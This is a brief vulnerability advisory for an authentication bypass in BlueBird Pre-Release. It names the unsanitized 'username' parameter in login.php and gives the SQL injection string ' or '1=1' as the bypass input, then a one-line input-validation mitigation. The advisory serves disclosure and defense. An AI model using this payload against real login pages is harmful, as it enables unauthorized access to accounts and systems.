BlueBird Pre-Release Auth Bypass

A vulnerability exists in BlueBird Pre-Release, which can be exploited by malicious people to bypass certain security restrictions. The vulnerability is caused due to the application not properly sanitizing user-supplied input passed to the 'username' parameter in the 'login.php' script. This can be exploited to bypass authentication by entering ' or '1=1' as username.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to bypass authentication.
